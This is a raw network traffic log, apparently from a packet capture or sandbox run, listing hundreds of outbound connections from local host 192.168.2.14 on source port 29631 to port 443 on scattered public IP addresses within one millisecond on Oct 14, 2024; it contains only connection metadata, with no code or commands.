Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	123.30.73.27
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	37.183.177.179
Oct 14, 2024 17:34:13.874835014 CEST	29631	443	192.168.2.14	2.45.181.68
Oct 14, 2024 17:34:13.874805927 CEST	29631	443	192.168.2.14	202.178.103.188
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	5.222.225.208
Oct 14, 2024 17:34:13.874805927 CEST	29631	443	192.168.2.14	123.160.112.166
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	178.6.178.117
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	37.139.139.201
Oct 14, 2024 17:34:13.874805927 CEST	29631	443	192.168.2.14	148.189.203.17
Oct 14, 2024 17:34:13.874835014 CEST	29631	443	192.168.2.14	210.221.107.73
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	123.72.49.35
Oct 14, 2024 17:34:13.874799013 CEST	29631	443	192.168.2.14	148.28.2.41
Oct 14, 2024 17:34:13.874805927 CEST	29631	443	192.168.2.14	37.57.203.225
Oct 14, 2024 17:34:13.874835014 CEST	29631	443	192.168.2.14	210.145.194.19
Oct 14, 2024 17:34:13.874842882 CEST	29631	443	192.168.2.14	2.111.98.142
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	2.136.82.208
Oct 14, 2024 17:34:13.874842882 CEST	29631	443	192.168.2.14	212.149.21.18
Oct 14, 2024 17:34:13.874805927 CEST	29631	443	192.168.2.14	42.18.188.56
Oct 14, 2024 17:34:13.874835014 CEST	29631	443	192.168.2.14	117.182.14.34
Oct 14, 2024 17:34:13.874842882 CEST	29631	443	192.168.2.14	94.161.82.136
Oct 14, 2024 17:34:13.874799013 CEST	29631	443	192.168.2.14	94.61.242.153
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	109.232.59.182
Oct 14, 2024 17:34:13.874800920 CEST	29631	443	192.168.2.14	118.252.204.130
Oct 14, 2024 17:34:13.874835014 CEST	29631	443	192.168.2.14	148.237.68.239
Oct 14, 2024 17:34:13.874850988 CEST	29631	443	192.168.2.14	79.201.130.213
Oct 14, 2024 17:34:13.874842882 CEST	29631	443	192.168.2.14	212.242.118.237
Oct 14, 2024 17:34:13.874799013 CEST	29631	443	192.168.2.14	178.243.150.15
Oct 14, 2024 17:34:13.874800920 CEST	29631	443	192.168.2.14	118.203.151.224
Oct 14, 2024 17:34:13.874842882 CEST	29631	443	192.168.2.14	117.235.54.120
Oct 14, 2024 17:34:13.874850988 CEST	29631	443	192.168.2.14	2.107.53.67
Oct 14, 2024 17:34:13.874854088 CEST	29631	443	192.168.2.14	94.135.143.184
Oct 14, 2024 17:34:13.874842882 CEST	29631	443	192.168.2.14	109.3.252.94
Oct 14, 2024 17:34:13.874854088 CEST	29631	443	192.168.2.14	148.206.101.200
Oct 14, 2024 17:34:13.874799013 CEST	29631	443	192.168.2.14	210.223.170.95
Oct 14, 2024 17:34:13.874835014 CEST	29631	443	192.168.2.14	178.7.116.140
Oct 14, 2024 17:34:13.874854088 CEST	29631	443	192.168.2.14	118.133.244.190
Oct 14, 2024 17:34:13.874835014 CEST	29631	443	192.168.2.14	79.59.232.8
Oct 14, 2024 17:34:13.874842882 CEST	29631	443	192.168.2.14	109.105.220.189
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	212.143.53.197
Oct 14, 2024 17:34:13.874844074 CEST	29631	443	192.168.2.14	79.102.65.60
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	79.133.137.137
Oct 14, 2024 17:34:13.874850988 CEST	29631	443	192.168.2.14	42.247.10.220
Oct 14, 2024 17:34:13.874865055 CEST	29631	443	192.168.2.14	210.186.11.134
Oct 14, 2024 17:34:13.874800920 CEST	29631	443	192.168.2.14	94.215.9.130
Oct 14, 2024 17:34:13.874866009 CEST	29631	443	192.168.2.14	210.185.235.212
Oct 14, 2024 17:34:13.874850988 CEST	29631	443	192.168.2.14	109.99.246.240
Oct 14, 2024 17:34:13.874835014 CEST	29631	443	192.168.2.14	37.221.3.5
Oct 14, 2024 17:34:13.874876976 CEST	29631	443	192.168.2.14	79.252.52.87
Oct 14, 2024 17:34:13.874850988 CEST	29631	443	192.168.2.14	5.138.114.38
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	148.207.1.88
Oct 14, 2024 17:34:13.874876976 CEST	29631	443	192.168.2.14	212.70.23.30
Oct 14, 2024 17:34:13.874880075 CEST	29631	443	192.168.2.14	109.219.145.219
Oct 14, 2024 17:34:13.874881029 CEST	29631	443	192.168.2.14	37.82.168.11
Oct 14, 2024 17:34:13.874876976 CEST	29631	443	192.168.2.14	148.138.146.123
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	210.102.12.157
Oct 14, 2024 17:34:13.874883890 CEST	29631	443	192.168.2.14	148.8.143.199
Oct 14, 2024 17:34:13.874876976 CEST	29631	443	192.168.2.14	118.101.131.48
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	79.235.8.177
Oct 14, 2024 17:34:13.874881029 CEST	29631	443	192.168.2.14	5.208.229.174
Oct 14, 2024 17:34:13.874880075 CEST	29631	443	192.168.2.14	178.57.113.100
Oct 14, 2024 17:34:13.874883890 CEST	29631	443	192.168.2.14	2.93.105.95
Oct 14, 2024 17:34:13.874850988 CEST	29631	443	192.168.2.14	2.146.91.239
Oct 14, 2024 17:34:13.874883890 CEST	29631	443	192.168.2.14	148.253.144.112
Oct 14, 2024 17:34:13.874876976 CEST	29631	443	192.168.2.14	178.208.143.42
Oct 14, 2024 17:34:13.874850988 CEST	29631	443	192.168.2.14	148.138.91.111
Oct 14, 2024 17:34:13.874876976 CEST	29631	443	192.168.2.14	148.141.153.62
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	212.135.69.157
Oct 14, 2024 17:34:13.874880075 CEST	29631	443	192.168.2.14	79.48.241.41
Oct 14, 2024 17:34:13.874866009 CEST	29631	443	192.168.2.14	148.92.54.37
Oct 14, 2024 17:34:13.874881029 CEST	29631	443	192.168.2.14	109.180.18.25
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	79.103.86.188
Oct 14, 2024 17:34:13.874881029 CEST	29631	443	192.168.2.14	212.57.250.140
Oct 14, 2024 17:34:13.874883890 CEST	29631	443	192.168.2.14	178.241.29.196
Oct 14, 2024 17:34:13.874901056 CEST	29631	443	192.168.2.14	210.117.0.210
Oct 14, 2024 17:34:13.874893904 CEST	29631	443	192.168.2.14	94.45.81.213
Oct 14, 2024 17:34:13.874901056 CEST	29631	443	192.168.2.14	123.246.154.58
Oct 14, 2024 17:34:13.874876976 CEST	29631	443	192.168.2.14	94.92.255.24
Oct 14, 2024 17:34:13.874866009 CEST	29631	443	192.168.2.14	5.94.201.19
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	42.119.241.38
Oct 14, 2024 17:34:13.874880075 CEST	29631	443	192.168.2.14	178.35.175.41
Oct 14, 2024 17:34:13.874881029 CEST	29631	443	192.168.2.14	79.99.68.239
Oct 14, 2024 17:34:13.874866009 CEST	29631	443	192.168.2.14	79.113.251.183
Oct 14, 2024 17:34:13.874901056 CEST	29631	443	192.168.2.14	109.87.137.73
Oct 14, 2024 17:34:13.874883890 CEST	29631	443	192.168.2.14	109.168.89.112
Oct 14, 2024 17:34:13.874876976 CEST	29631	443	192.168.2.14	37.191.84.247
Oct 14, 2024 17:34:13.874866009 CEST	29631	443	192.168.2.14	178.249.106.124
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	117.253.221.29
Oct 14, 2024 17:34:13.874866009 CEST	29631	443	192.168.2.14	118.0.225.198
Oct 14, 2024 17:34:13.874881029 CEST	29631	443	192.168.2.14	148.162.227.176
Oct 14, 2024 17:34:13.874866009 CEST	29631	443	192.168.2.14	94.120.210.226
Oct 14, 2024 17:34:13.874881983 CEST	29631	443	192.168.2.14	212.1.72.188
Oct 14, 2024 17:34:13.874901056 CEST	29631	443	192.168.2.14	212.187.69.17
Oct 14, 2024 17:34:13.874883890 CEST	29631	443	192.168.2.14	148.148.162.241
Oct 14, 2024 17:34:13.874901056 CEST	29631	443	192.168.2.14	202.96.92.9
Oct 14, 2024 17:34:13.874883890 CEST	29631	443	192.168.2.14	148.24.223.95
Oct 14, 2024 17:34:13.874919891 CEST	29631	443	192.168.2.14	123.65.67.121
Oct 14, 2024 17:34:13.874880075 CEST	29631	443	192.168.2.14	117.95.221.165
Oct 14, 2024 17:34:13.874922037 CEST	29631	443	192.168.2.14	148.86.164.17
Oct 14, 2024 17:34:13.874880075 CEST	29631	443	192.168.2.14	123.123.31.226
Oct 14, 2024 17:34:13.874883890 CEST	29631	443	192.168.2.14	212.79.173.86
Oct 14, 2024 17:34:13.874922037 CEST	29631	443	192.168.2.14	79.82.110.133
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	79.239.249.146
Oct 14, 2024 17:34:13.874922037 CEST	29631	443	192.168.2.14	117.86.35.29
Oct 14, 2024 17:34:13.874881983 CEST	29631	443	192.168.2.14	148.76.108.10
Oct 14, 2024 17:34:13.874895096 CEST	29631	443	192.168.2.14	202.240.42.12
Oct 14, 2024 17:34:13.874919891 CEST	29631	443	192.168.2.14	148.148.19.79
Oct 14, 2024 17:34:13.874901056 CEST	29631	443	192.168.2.14	202.201.44.88
Oct 14, 2024 17:34:13.874919891 CEST	29631	443	192.168.2.14	37.132.221.64
Oct 14, 2024 17:34:13.874895096 CEST	29631	443	192.168.2.14	202.156.198.79
Oct 14, 2024 17:34:13.874932051 CEST	29631	443	192.168.2.14	2.5.192.173
Oct 14, 2024 17:34:13.874919891 CEST	29631	443	192.168.2.14	123.167.249.78
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	123.84.171.150
Oct 14, 2024 17:34:13.874880075 CEST	29631	443	192.168.2.14	117.221.233.55
Oct 14, 2024 17:34:13.874919891 CEST	29631	443	192.168.2.14	42.255.204.212
Oct 14, 2024 17:34:13.874901056 CEST	29631	443	192.168.2.14	212.6.110.204
Oct 14, 2024 17:34:13.874932051 CEST	29631	443	192.168.2.14	210.250.199.185
Oct 14, 2024 17:34:13.874936104 CEST	29631	443	192.168.2.14	212.75.25.21
Oct 14, 2024 17:34:13.874880075 CEST	29631	443	192.168.2.14	109.224.182.84
Oct 14, 2024 17:34:13.874919891 CEST	29631	443	192.168.2.14	123.225.131.7
Oct 14, 2024 17:34:13.874932051 CEST	29631	443	192.168.2.14	79.9.23.149
Oct 14, 2024 17:34:13.874895096 CEST	29631	443	192.168.2.14	2.109.67.208
Oct 14, 2024 17:34:13.874901056 CEST	29631	443	192.168.2.14	123.165.236.119
Oct 14, 2024 17:34:13.874919891 CEST	29631	443	192.168.2.14	210.40.198.252
Oct 14, 2024 17:34:13.874895096 CEST	29631	443	192.168.2.14	178.95.74.17
Oct 14, 2024 17:34:13.874919891 CEST	29631	443	192.168.2.14	210.57.43.159
Oct 14, 2024 17:34:13.874895096 CEST	29631	443	192.168.2.14	42.38.188.109
Oct 14, 2024 17:34:13.874933004 CEST	29631	443	192.168.2.14	210.89.143.70
Oct 14, 2024 17:34:13.874936104 CEST	29631	443	192.168.2.14	109.22.162.136
Oct 14, 2024 17:34:13.874895096 CEST	29631	443	192.168.2.14	202.32.171.72
Oct 14, 2024 17:34:13.874933004 CEST	29631	443	192.168.2.14	109.37.185.133
Oct 14, 2024 17:34:13.874855042 CEST	29631	443	192.168.2.14	109.110.97.115
Oct 14, 2024 17:34:13.874953985 CEST	29631	443	192.168.2.14	202.223.208.139
Oct 14, 2024 17:34:13.874922037 CEST	29631	443	192.168.2.14	178.179.128.122
Oct 14, 2024 17:34:13.874936104 CEST	29631	443	192.168.2.14	210.6.85.229
Oct 14, 2024 17:34:13.874953985 CEST	29631	443	192.168.2.14	109.165.103.213
Oct 14, 2024 17:34:13.874936104 CEST	29631	443	192.168.2.14	5.106.246.209
Oct 14, 2024 17:34:13.874958992 CEST	29631	443	192.168.2.14	2.106.129.225
Oct 14, 2024 17:34:13.874936104 CEST	29631	443	192.168.2.14	2.12.239.237
Oct 14, 2024 17:34:13.874933004 CEST	29631	443	192.168.2.14	210.33.79.158
Oct 14, 2024 17:34:13.874958992 CEST	29631	443	192.168.2.14	5.21.100.2
Oct 14, 2024 17:34:13.874936104 CEST	29631	443	192.168.2.14	178.216.120.212
Oct 14, 2024 17:34:13.874967098 CEST	29631	443	192.168.2.14	37.212.65.168
Oct 14, 2024 17:34:13.874953985 CEST	29631	443	192.168.2.14	178.14.180.138
Oct 14, 2024 17:34:13.874958992 CEST	29631	443	192.168.2.14	117.199.22.119
Oct 14, 2024 17:34:13.874922037 CEST	29631	443	192.168.2.14	5.74.48.96
Oct 14, 2024 17:34:13.874967098 CEST	29631	443	192.168.2.14	148.102.191.79
Oct 14, 2024 17:34:13.874933004 CEST	29631	443	192.168.2.14	212.221.179.6
Oct 14, 2024 17:34:13.874958992 CEST	29631	443	192.168.2.14	117.75.80.211
Oct 14, 2024 17:34:13.874958038 CEST	29631	443	192.168.2.14	123.252.159.79
Oct 14, 2024 17:34:13.874895096 CEST	29631	443	192.168.2.14	94.94.83.190
Oct 14, 2024 17:34:13.874958038 CEST	29631	443	192.168.2.14	2.210.1.104
Oct 14, 2024 17:34:13.874958992 CEST	29631	443	192.168.2.14	109.187.23.240
Oct 14, 2024 17:34:13.874967098 CEST	29631	443	192.168.2.14	42.232.250.223
Oct 14, 2024 17:34:13.874922991 CEST	29631	443	192.168.2.14	42.110.135.48
Oct 14, 2024 17:34:13.874936104 CEST	29631	443	192.168.2.14	94.182.71.186
Oct 14, 2024 17:34:13.874922991 CEST	29631	443	192.168.2.14	42.147.3.118
Oct 14, 2024 17:34:13.874967098 CEST	29631	443	192.168.2.14	117.19.197.246
Oct 14, 2024 17:34:13.874922991 CEST	29631	443	192.168.2.14	42.19.157.50
Oct 14, 2024 17:34:13.874958992 CEST	29631	443	192.168.2.14	212.68.229.114
Oct 14, 2024 17:34:13.874933004 CEST	29631	443	192.168.2.14	109.233.2.96
Oct 14, 2024 17:34:13.874989033 CEST	29631	443	192.168.2.14	178.3.67.178
Oct 14, 2024 17:34:13.874958038 CEST	29631	443	192.168.2.14	79.114.220.206
Oct 14, 2024 17:34:13.874968052 CEST	29631	443	192.168.2.14	109.42.176.35
Oct 14, 2024 17:34:13.874936104 CEST	29631	443	192.168.2.14	117.134.60.222
Oct 14, 2024 17:34:13.874991894 CEST	29631	443	192.168.2.14	94.220.229.226
Oct 14, 2024 17:34:13.874968052 CEST	29631	443	192.168.2.14	2.203.111.102
Oct 14, 2024 17:34:13.874991894 CEST	29631	443	192.168.2.14	123.65.223.88
Oct 14, 2024 17:34:13.874953985 CEST	29631	443	192.168.2.14	202.144.141.23
Oct 14, 2024 17:34:13.874958038 CEST	29631	443	192.168.2.14	94.204.160.107
Oct 14, 2024 17:34:13.874958992 CEST	29631	443	192.168.2.14	42.89.76.180
Oct 14, 2024 17:34:13.874995947 CEST	29631	443	192.168.2.14	210.37.171.182
Oct 14, 2024 17:34:13.874968052 CEST	29631	443	192.168.2.14	117.149.128.212
Oct 14, 2024 17:34:13.874991894 CEST	29631	443	192.168.2.14	202.7.212.238
Oct 14, 2024 17:34:13.875000000 CEST	29631	443	192.168.2.14	118.161.87.102
Oct 14, 2024 17:34:13.874953985 CEST	29631	443	192.168.2.14	210.144.101.67
Oct 14, 2024 17:34:13.874958038 CEST	29631	443	192.168.2.14	212.121.134.58
Oct 14, 2024 17:34:13.874995947 CEST	29631	443	192.168.2.14	123.81.134.126
Oct 14, 2024 17:34:13.874989033 CEST	29631	443	192.168.2.14	212.142.122.211
Oct 14, 2024 17:34:13.874958992 CEST	29631	443	192.168.2.14	178.26.155.70
Oct 14, 2024 17:34:13.874958038 CEST	29631	443	192.168.2.14	117.153.44.39
Oct 14, 2024 17:34:13.874989033 CEST	29631	443	192.168.2.14	118.240.120.85
Oct 14, 2024 17:34:13.874958038 CEST	29631	443	192.168.2.14	42.87.139.167
Oct 14, 2024 17:34:13.874991894 CEST	29631	443	192.168.2.14	212.132.214.171
Oct 14, 2024 17:34:13.875000000 CEST	29631	443	192.168.2.14	5.207.230.251
Oct 14, 2024 17:34:13.874968052 CEST	29631	443	192.168.2.14	118.21.93.33
Oct 14, 2024 17:34:13.875000000 CEST	29631	443	192.168.2.14	42.193.165.154
Oct 14, 2024 17:34:13.874991894 CEST	29631	443	192.168.2.14	37.188.221.205
Oct 14, 2024 17:34:13.874989033 CEST	29631	443	192.168.2.14	117.187.246.98
Oct 14, 2024 17:34:13.874991894 CEST	29631	443	192.168.2.14	37.99.165.18
Oct 14, 2024 17:34:13.874995947 CEST	29631	443	192.168.2.14	212.105.210.57
Oct 14, 2024 17:34:13.874989033 CEST	29631	443	192.168.2.14	42.39.57.206
Oct 14, 2024 17:34:13.874995947 CEST	29631	443	192.168.2.14	123.211.195.24
Oct 14, 2024 17:34:13.875013113 CEST	29631	443	192.168.2.14	5.52.106.80
Oct 14, 2024 17:34:13.874953985 CEST	29631	443	192.168.2.14	123.89.209.67
Oct 14, 2024 17:34:13.874991894 CEST	29631	443	192.168.2.14	37.184.166.122
Oct 14, 2024 17:34:13.874995947 CEST	29631	443	192.168.2.14	109.195.231.169
Oct 14, 2024 17:34:13.874989033 CEST	29631	443	192.168.2.14	117.211.120.11
Oct 14, 2024 17:34:13.875016928 CEST	29631	443	192.168.2.14	202.84.84.183
Oct 14, 2024 17:34:13.874995947 CEST	29631	443	192.168.2.14	109.10.203.171
Oct 14, 2024 17:34:13.875016928 CEST	29631	443	192.168.2.14	5.98.192.161
Oct 14, 2024 17:34:13.874995947 CEST	29631	443	192.168.2.14	178.10.111.76
Oct 14, 2024 17:34:13.874989033 CEST	29631	443	192.168.2.14	118.51.233.236
Oct 14, 2024 17:34:13.875016928 CEST	29631	443	192.168.2.14	79.37.189.119
Oct 14, 2024 17:34:13.874989033 CEST	29631	443	192.168.2.14	123.196.9.88
Oct 14, 2024 17:34:13.874991894 CEST	29631	443	192.168.2.14	202.180.17.39
Oct 14, 2024 17:34:13.875000000 CEST	29631	443	192.168.2.14	178.169.117.16
Oct 14, 2024 17:34:13.875017881 CEST	29631	443	192.168.2.14	212.206.38.246
Oct 14, 2024 17:34:13.874953985 CEST	29631	443	192.168.2.14	117.154.172.97
Oct 14, 2024 17:34:13.875000000 CEST	29631	443	192.168.2.14	202.8.96.143
Oct 14, 2024 17:34:13.875019073 CEST	29631	443	192.168.2.14	109.224.187.222
Oct 14, 2024 17:34:13.874995947 CEST	29631	443	192.168.2.14	94.122.132.60
Oct 14, 2024 17:34:13.875016928 CEST	29631	443	192.168.2.14	109.156.117.199
Oct 14, 2024 17:34:13.875019073 CEST	29631	443	192.168.2.14	118.50.53.182
Oct 14, 2024 17:34:13.874953985 CEST	29631	443	192.168.2.14	94.202.43.188
Oct 14, 2024 17:34:13.875019073 CEST	29631	443	192.168.2.14	178.185.139.46
Oct 14, 2024 17:34:13.875000000 CEST	29631	443	192.168.2.14	178.129.232.6
Oct 14, 2024 17:34:13.875017881 CEST	29631	443	192.168.2.14	148.169.227.160
Oct 14, 2024 17:34:13.875000000 CEST	29631	443	192.168.2.14	148.64.165.138
Oct 14, 2024 17:34:13.875036955 CEST	29631	443	192.168.2.14	109.220.38.222
Oct 14, 2024 17:34:13.875000000 CEST	29631	443	192.168.2.14	123.102.145.60
Oct 14, 2024 17:34:13.875036955 CEST	29631	443	192.168.2.14	94.90.140.191
Oct 14, 2024 17:34:13.875017881 CEST	29631	443	192.168.2.14	79.188.216.62
Oct 14, 2024 17:34:13.875036955 CEST	29631	443	192.168.2.14	148.36.2.190
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	109.229.176.222
Oct 14, 2024 17:34:13.875036955 CEST	29631	443	192.168.2.14	2.207.192.192
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	79.246.87.222
Oct 14, 2024 17:34:13.875046015 CEST	29631	443	192.168.2.14	2.239.174.196
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	178.228.243.161
Oct 14, 2024 17:34:13.875046015 CEST	29631	443	192.168.2.14	117.93.13.249
Oct 14, 2024 17:34:13.875041008 CEST	29631	443	192.168.2.14	37.68.63.111
Oct 14, 2024 17:34:13.875046015 CEST	29631	443	192.168.2.14	118.161.179.176
Oct 14, 2024 17:34:13.875019073 CEST	29631	443	192.168.2.14	210.203.143.174
Oct 14, 2024 17:34:13.875036955 CEST	29631	443	192.168.2.14	79.204.170.131
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	79.146.75.2
Oct 14, 2024 17:34:13.875041008 CEST	29631	443	192.168.2.14	79.46.46.119
Oct 14, 2024 17:34:13.875036955 CEST	29631	443	192.168.2.14	210.133.25.81
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	202.11.2.217
Oct 14, 2024 17:34:13.875036955 CEST	29631	443	192.168.2.14	2.106.201.118
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	2.1.246.34
Oct 14, 2024 17:34:13.875041008 CEST	29631	443	192.168.2.14	123.110.250.214
Oct 14, 2024 17:34:13.875063896 CEST	29631	443	192.168.2.14	178.120.127.97
Oct 14, 2024 17:34:13.875041008 CEST	29631	443	192.168.2.14	178.101.0.1
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	202.51.147.164
Oct 14, 2024 17:34:13.875063896 CEST	29631	443	192.168.2.14	210.86.155.222
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	118.83.110.235
Oct 14, 2024 17:34:13.875041008 CEST	29631	443	192.168.2.14	94.95.54.187
Oct 14, 2024 17:34:13.875063896 CEST	29631	443	192.168.2.14	2.113.91.107
Oct 14, 2024 17:34:13.875041008 CEST	29631	443	192.168.2.14	123.224.43.76
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	118.178.123.107
Oct 14, 2024 17:34:13.875041008 CEST	29631	443	192.168.2.14	42.15.143.4
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	5.53.225.171
Oct 14, 2024 17:34:13.875041008 CEST	29631	443	192.168.2.14	79.174.169.21
Oct 14, 2024 17:34:13.875039101 CEST	29631	443	192.168.2.14	178.255.129.140
Oct 14, 2024 17:34:13.875063896 CEST	29631	443	192.168.2.14	212.40.164.137
Oct 14, 2024 17:34:13.875067949 CEST	29631	443	192.168.2.14	202.194.185.25
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	123.23.75.9
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	118.89.29.18
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	79.102.67.45
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	123.171.83.245
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	42.199.242.244
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	37.41.162.61
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	42.247.23.38
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	37.123.89.243
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	79.181.59.192
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	202.164.170.117
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	37.28.196.86
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	117.190.254.139
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	2.64.200.82
Oct 14, 2024 17:34:13.875075102 CEST	29631	443	192.168.2.14	2.14.127.79
Oct 14, 2024 17:34:13.875081062 CEST	29631	443	192.168.2.14	2.152.28.219
Oct 14, 2024 17:34:13.875081062 CEST	29631	443	192.168.2.14	117.11.106.83
Oct 14, 2024 17:34:13.875082970 CEST	29631	443	192.168.2.14	5.70.18.58
Oct 14, 2024 17:34:13.875081062 CEST	29631	443	192.168.2.14	2.59.100.162
Oct 14, 2024 17:34:13.875082970 CEST	29631	443	192.168.2.14	37.231.191.81
Oct 14, 2024 17:34:13.875081062 CEST	29631	443	192.168.2.14	42.43.201.174
Oct 14, 2024 17:34:13.875085115 CEST	29631	443	192.168.2.14	42.165.223.253
Oct 14, 2024 17:34:13.875082970 CEST	29631	443	192.168.2.14	202.24.0.117
Oct 14, 2024 17:34:13.875082016 CEST	29631	443	192.168.2.14	5.52.177.233
Oct 14, 2024 17:34:13.875082970 CEST	29631	443	192.168.2.14	79.1.229.26
Oct 14, 2024 17:34:13.875082016 CEST	29631	443	192.168.2.14	148.206.244.183
Oct 14, 2024 17:34:13.875082970 CEST	29631	443	192.168.2.14	118.235.133.16
Oct 14, 2024 17:34:13.875082016 CEST	29631	443	192.168.2.14	42.232.95.179
Oct 14, 2024 17:34:13.875082970 CEST	29631	443	192.168.2.14	2.106.152.77
Oct 14, 2024 17:34:13.875082016 CEST	29631	443	192.168.2.14	5.22.175.35
Oct 14, 2024 17:34:13.875082970 CEST	29631	443	192.168.2.14	94.212.177.159
Oct 14, 2024 17:34:13.875093937 CEST	29631	443	192.168.2.14	118.249.239.235
Oct 14, 2024 17:34:13.875098944 CEST	29631	443	192.168.2.14	118.140.225.35
Oct 14, 2024 17:34:13.875098944 CEST	29631	443	192.168.2.14	5.45.38.95
Oct 14, 2024 17:34:13.875113964 CEST	29631	443	192.168.2.14	37.29.157.232
Oct 14, 2024 17:34:13.875113964 CEST	29631	443	192.168.2.14	178.9.216.234
Oct 14, 2024 17:34:13.875113964 CEST	29631	443	192.168.2.14	123.86.194.161
Oct 14, 2024 17:34:13.875122070 CEST	29631	443	192.168.2.14	148.41.210.229
Oct 14, 2024 17:34:13.875132084 CEST	29631	443	192.168.2.14	123.174.237.122
Oct 14, 2024 17:34:13.875132084 CEST	29631	443	192.168.2.14	79.142.46.168
Oct 14, 2024 17:34:13.875140905 CEST	29631	443	192.168.2.14	42.179.148.36
Oct 14, 2024 17:34:13.875160933 CEST	29631	443	192.168.2.14	123.137.52.83
Oct 14, 2024 17:34:13.875178099 CEST	29631	443	192.168.2.14	123.34.36.113
Oct 14, 2024 17:34:13.875179052 CEST	29631	443	192.168.2.14	37.12.234.52
Oct 14, 2024 17:34:13.875180960 CEST	29631	443	192.168.2.14	2.0.26.126
Oct 14, 2024 17:34:13.875180960 CEST	29631	443	192.168.2.14	2.14.126.8
Oct 14, 2024 17:34:13.875180960 CEST	29631	443	192.168.2.14	94.139.86.203
Oct 14, 2024 17:34:13.875180960 CEST	29631	443	192.168.2.14	202.196.212.131
Oct 14, 2024 17:34:13.875180960 CEST	29631	443	192.168.2.14	123.166.31.244
Oct 14, 2024 17:34:13.875183105 CEST	29631	443	192.168.2.14	212.11.248.185
Oct 14, 2024 17:34:13.875184059 CEST	29631	443	192.168.2.14	123.25.109.131
Oct 14, 2024 17:34:13.875184059 CEST	29631	443	192.168.2.14	148.188.117.82
Oct 14, 2024 17:34:13.875190973 CEST	29631	443	192.168.2.14	2.77.110.161
Oct 14, 2024 17:34:13.875190973 CEST	29631	443	192.168.2.14	123.199.37.8
Oct 14, 2024 17:34:13.875190973 CEST	29631	443	192.168.2.14	79.211.2.109
Oct 14, 2024 17:34:13.875190973 CEST	29631	443	192.168.2.14	79.220.31.206
Oct 14, 2024 17:34:13.875190973 CEST	29631	443	192.168.2.14	123.60.38.3
Oct 14, 2024 17:34:13.875195980 CEST	29631	443	192.168.2.14	178.13.36.153
Oct 14, 2024 17:34:13.875200033 CEST	29631	443	192.168.2.14	79.55.169.140
Oct 14, 2024 17:34:13.875200033 CEST	29631	443	192.168.2.14	178.219.172.60
Oct 14, 2024 17:34:13.875200033 CEST	29631	443	192.168.2.14	178.47.205.202
Oct 14, 2024 17:34:13.875200033 CEST	29631	443	192.168.2.14	94.82.51.184
Oct 14, 2024 17:34:13.875202894 CEST	29631	443	192.168.2.14	123.138.208.69
Oct 14, 2024 17:34:13.875202894 CEST	29631	443	192.168.2.14	5.136.31.72
Oct 14, 2024 17:34:13.875202894 CEST	29631	443	192.168.2.14	109.163.96.70
Oct 14, 2024 17:34:13.875216007 CEST	29631	443	192.168.2.14	37.63.40.30
Oct 14, 2024 17:34:13.875216007 CEST	29631	443	192.168.2.14	118.34.225.166
Oct 14, 2024 17:34:13.875216961 CEST	29631	443	192.168.2.14	37.18.137.64
Oct 14, 2024 17:34:13.875219107 CEST	29631	443	192.168.2.14	109.186.13.100
Oct 14, 2024 17:34:13.875216007 CEST	29631	443	192.168.2.14	123.191.207.130
Oct 14, 2024 17:34:13.875216961 CEST	29631	443	192.168.2.14	148.63.217.189
Oct 14, 2024 17:34:13.875216007 CEST	29631	443	192.168.2.14	2.106.225.246
Oct 14, 2024 17:34:13.875219107 CEST	29631	443	192.168.2.14	118.103.85.128
Oct 14, 2024 17:34:13.875216961 CEST	29631	443	192.168.2.14	2.137.86.80
Oct 14, 2024 17:34:13.875225067 CEST	29631	443	192.168.2.14	117.48.175.250
Oct 14, 2024 17:34:13.875226974 CEST	29631	443	192.168.2.14	117.39.22.66
Oct 14, 2024 17:34:13.875226974 CEST	29631	443	192.168.2.14	2.43.73.66
Oct 14, 2024 17:34:13.875226974 CEST	29631	443	192.168.2.14	37.230.38.240
Oct 14, 2024 17:34:13.875227928 CEST	29631	443	192.168.2.14	118.4.37.252
